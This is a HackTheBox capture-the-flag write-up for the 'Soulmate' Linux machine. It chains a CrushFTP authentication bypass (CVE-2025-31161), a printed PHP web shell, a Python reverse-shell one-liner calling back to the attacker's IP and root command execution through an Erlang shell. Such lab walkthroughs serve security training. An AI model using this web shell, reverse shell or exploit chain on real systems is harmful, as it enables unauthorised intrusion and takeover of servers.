HackTheBox - Soulmate Writeup
Machine Information
- Name: Soulmate
- IP: 10.10.11.86
- OS: Linux
- Difficulty: Easy
- Points: 20
- Release Date: 06 Sep 2025
- Domains: soulmate.htb, ftp.soulmate.htb
Summary
Soulmate is an easy Linux machine that hosts a dating website alongside a vulnerable CrushFTP server. The exploitation path involves leveraging CVE-2025-31161 in CrushFTP version 11.W.657 to bypass authentication and create an administrative user account. This access allows file uploads to the web directory, enabling PHP code execution for initial system access. Privilege escalation is achieved through discovering hardcoded credentials in an Erlang-based SSH service configuration, which provides root-level command execution capabilities.
Reconnaissance and Enumeration
Network Scanning
# Initial port scan
nmap -p- --min-rate 10000 10.10.11.86
# Detailed service enumeration
nmap -sC -sV -p 22,80 -oA nmap/soulmate 10.10.11.86
Nmap Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match
| http-methods:
| Supported methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Host Configuration
Add discovered domains to /etc/hosts
:
echo "10.10.11.86 soulmate.htb ftp.soulmate.htb" >> /etc/hosts
Web Application Analysis
Primary Domain: soulmate.htb
Accessing http://soulmate.htb
reveals a dating website with the following features:
- User registration and authentication system
- Profile creation with personal information and photos
- Dating profile browsing functionality
- Member since dates and user interaction features
Registration Process:
The application allows new user registration with fields:
- Username and Full Name
- Password and confirmation
- Bio/description text area
- Optional profile picture upload (supports JPG, PNG, GIF formats, max 3MB)
Initial Assessment:
Standard web application functionality with no immediately obvious vulnerabilities. The dating site appears to be a decoy or secondary service.
Directory and File Discovery
feroxbuster -u http://soulmate.htb \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,html,js,json,txt,log \
-t 50 \
-e
Results:
- Standard web directories found (/assets/, /css/, /js/)
- No sensitive files or backup directories discovered
- Standard HTTP response codes (200, 404)
- No obvious attack vectors in the main application
Subdomain Enumeration
ffuf -u http://10.10.11.86 \
-H "Host: FUZZ.soulmate.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fw 4
Discovery Results:
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 60ms]
Key Finding: ftp.soulmate.htb
subdomain discovered
CrushFTP Service Analysis
Service Discovery
Accessing http://ftp.soulmate.htb
results in an HTTP 302 redirect to:
http://ftp.soulmate.htb/WebInterface/login.html
This reveals a CrushFTP web interface with:
- Professional login page design
- Username/Email and Password fields
- "Remember me" checkbox functionality
- "Forgot your password?" recovery option
Version Identification
Examining the HTML source code reveals version information embedded in asset URLs:
<script type="module" crossorigin src="/WebInterface/new-ui/assets/app/components/loader2.js?v=11.W.657-2025_03_08_07_52"></script>
<link rel="stylesheet" crossorigin href="/WebInterface/new-ui/assets/css/app.css?v=11.W.657-2025_03_08_07_52">
Critical Discovery:
- CrushFTP Version: 11.W.657
- Build Date: March 8, 2025 (2025_03_08_07_52)
- Version String Pattern:
11.W.657-2025_03_08_07_52
Vulnerability Research
Research for CrushFTP version 11.W.657 reveals multiple CVEs affecting this version:
- CVE-2025-31161: Authentication bypass vulnerability
- CVE-2025-54309: Zero-day exploitation potential
- CVE-2025-32433: Unauthenticated remote code execution
Selected Exploit: CVE-2025-31161 due to available public exploit and authentication bypass nature.
Exploitation Phase
CVE-2025-31161 Exploitation
CVE-2025-31161 is a critical authentication bypass vulnerability in CrushFTP that allows attackers to create administrative user accounts without proper authentication.
Exploit Acquisition and Setup
# Clone the public exploit repository
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git
cd CVE-2025-31161
# Review exploit parameters
python3 cve-2025-31161.py --help
Exploit Execution
python3 cve-2025-31161.py \
--target_host ftp.soulmate.htb \
--port 80 \
--target_user root \
--new_user zero \
--password 1234
Exploit Output:
[*] Preparing exploit for target: ftp.soulmate.htb
[*] Starting exploit create Request
[*] Exploit Complete you can now login with
[+] Username: zero
[+] Password: 1234
Result: Successfully created administrative user account zero:1234
Administrative Access Verification
Login to CrushFTP with the newly created credentials:
- URL:
http://ftp.soulmate.htb/WebInterface/login.html
- Username:
zero
- Password:
1234
Successful Login Indicators:
- Access to administrative dashboard
- "Admin" menu option visible in navigation
- User management capabilities available
- File management and server options accessible
User Account Manipulation
Navigate to User Manager: http://ftp.soulmate.htb/WebInterface/UserManager/index.html
Available Users:
ben
- Regular user accountcrushadmin
- Administrative accountdefault
- Default system accountjenna
- Regular user accountTempAccount
- Temporary account
Target Selection: User ben
selected for password modification
Password Change Process:
- Select user
ben
from the user list - Navigate to user settings/password section
- Change password from current to
123456
- Save configuration changes
Verification: User ben
password successfully changed to 123456
File Upload Exploitation
Upload Interface Access
Navigate to the file management interface:
http://ftp.soulmate.htb/#/webProd/
Available Directories:
/IT/
- Information Technology files/ben/
- User-specific directory/webProd/
- Web production directory (target for upload)
PHP Backdoor Creation
Create simplebackdoor.php
with the following content:
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
Upload Process
- Access upload function in
/webProd/
directory - Select
simplebackdoor.php
file for upload - Upload successful - file size: 328.0 B
- Upload timestamp: 05/03/2021 06:44 PM
Critical Discovery: Files uploaded to /webProd/
directory become accessible via the main web server at soulmate.htb
, not through the FTP interface.
Web Shell Access
The uploaded PHP file becomes accessible at:
http://soulmate.htb/simplebackdoor.php
Initial Command Test:
http://soulmate.htb/simplebackdoor.php?cmd=id
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Confirmation: PHP code execution successful as www-data
user
Initial Foothold
Reverse Shell Establishment
Listener Setup
pwncat-cs --listen --port 4444
Payload Generation
Python reverse shell payload:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.xx.1x4",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
URL-Encoded Execution
http://soulmate.htb/simplebackdoor.php?cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%2210.10.xx.1x4%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22sh%22)%27
Connection Established:
(remote) www-data@soulmate:/var/www/soulmate.htb/public$ whoami
www-data
(remote) www-data@soulmate:/var/www/soulmate.htb/public$ pwd
/var/www/soulmate.htb/public
System Enumeration
LinPEAS Execution
# Download and execute LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Key Findings from LinPEAS
Open Ports:
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4369 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:37171 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41319 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:53336 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1208/nginx: worker
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
Erlang Components Detected:
- Multiple Erlang-related processes running
- FastCGI configuration with Erlang references
- HTTP configuration files mentioning Erlang libraries
- Rsync configuration with Erlang paths
Critical Discovery - Port 2222:
nc 127.0.0.1 2222
Response:
SSH-2.0-Erlang/5.2.9
Protocol error)♠♦♦♠♦♠♠♠
This indicates a custom SSH service built with Erlang running on localhost port 2222.
Credential Discovery and User Access
Erlang Service Investigation
Service Directory Analysis
cd /usr/local/lib/erlang_login
ls -al
Directory Contents:
total 16
drwxr-xr-x 2 root root 4096 Aug 15 07:46 .
drwxr-xr-x 5 root root 4096 Aug 14 14:12 ..
-rwxr-xr-x 1 root root 1570 Aug 14 14:12 login.escript
-rwxr-xr-x 1 root root 1427 Aug 15 07:46 start.escript
Configuration File Analysis
cat /usr/local/lib/erlang_login/start.escript
Critical Content Discovery:
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
Hardcoded Credentials Discovered:
- Username:
ben
- Password:
HouseH0ldings998
SSH Access as Ben
Login Successful:
ben@soulmate:~$ whoami
ben
ben@soulmate:~$ pwd
/home/ben
User Flag Retrieval
ben@soulmate:~$ cat user.txt
[USER_FLAG_HERE]
Privilege Escalation
Sudo Privileges Check
ben@soulmate:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on soulmate.
Result: No sudo privileges available for user ben
Erlang Service Exploitation
Service Connection Analysis
Since the Erlang SSH service was discovered on port 2222 and we have valid credentials for user ben
, attempt connection:
ssh ben@localhost -p 2222
Connection Details:
ben@localhost's password: HouseH0ldings998
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
Critical Discovery: Direct access to Erlang shell with potential for command execution
Erlang Command Execution Research
Based on Erlang documentation and security research, the os:cmd/1
function allows system command execution from within the Erlang shell.
Reference: https://vuln.be/post/os-command-and-code-execution-in-erlang-and-elixir/
Privilege Verification
(ssh_runner@soulmate)1> os:cmd("id").
Output:
"uid=0(root) gid=0(root) groups=0(root)\n"
Critical Finding: The Erlang shell is running with root privileges!
Root Flag Retrieval
(ssh_runner@soulmate)2> os:cmd("cat /root/root.txt").
Output:
"5d84b1bb858b99c[...root_flag...]fbba1c0cc4e76\n"
Success: Root flag obtained through Erlang command execution
Complete System Compromise
Additional Verification Commands
% Check current user and groups
(ssh_runner@soulmate)3> os:cmd("whoami && groups").
% List root directory contents
(ssh_runner@soulmate)4> os:cmd("ls -la /root/").
% Check system information
(ssh_runner@soulmate)5> os:cmd("uname -a").
Results Confirm: Full root-level system access achieved through Erlang service exploitation
Attack Chain Summary
- Reconnaissance: Port scanning and service enumeration revealed HTTP services
- Subdomain Discovery: FFUF identified
ftp.soulmate.htb
subdomain - Service Identification: CrushFTP version 11.W.657 discovered through source analysis
- Vulnerability Exploitation: CVE-2025-31161 leveraged to create administrative account
- File Upload: PHP backdoor uploaded through CrushFTP administrative interface
- Initial Access: Web shell provided
www-data
level access - System Enumeration: LinPEAS revealed Erlang services and unusual ports
- Credential Discovery: Hardcoded credentials found in Erlang configuration files
- User Access: SSH access achieved as user
ben
- Privilege Escalation: Erlang service exploitation provided root-level command execution
Key Technical Details
Vulnerability Chain
- CVE-2025-31161: Authentication bypass in CrushFTP 11.W.657
- File Upload: Unrestricted PHP upload to web-accessible directory
- Configuration Exposure: Hardcoded credentials in Erlang service configuration
- Service Misconfiguration: Erlang SSH service running with root privileges
Critical Security Misconfigurations
- CrushFTP running vulnerable version without security patches
- Web application allowing PHP execution in upload directories
- Hardcoded authentication credentials stored in plain text
- Privileged service accessible with user-level credentials
- No restriction on dangerous Erlang functions (
os:cmd/1
)
Tools and Resources Used
Reconnaissance Tools
- nmap: Network and service scanning
- feroxbuster: Web directory enumeration
- ffuf: Subdomain fuzzing and discovery
Exploitation Tools
- CVE-2025-31161 exploit: Public exploit for CrushFTP authentication bypass
- pwncat-cs: Reverse shell handler and session management
- LinPEAS: Linux privilege escalation enumeration script
Manual Techniques
- HTML source code analysis for version identification
- Configuration file analysis for credential discovery
- Erlang shell command execution for privilege escalation
External References
Key Vulnerabilities
- CVE-2025-31161: CrushFTP user creation vulnerability
- Insecure File Upload: Allowed PHP execution in web root
- Hardcoded Credentials: Plaintext credentials in configuration files
- Privileged Service: Erlang shell running with root privileges
Flags Obtained
- ✅ User Flag: Retrieved via SSH as user
ben
- ✅ Root Flag: Retrieved via Erlang shell command execution
Write-up created for educational purposes. Always ensure you have proper authorization before testing on any systems.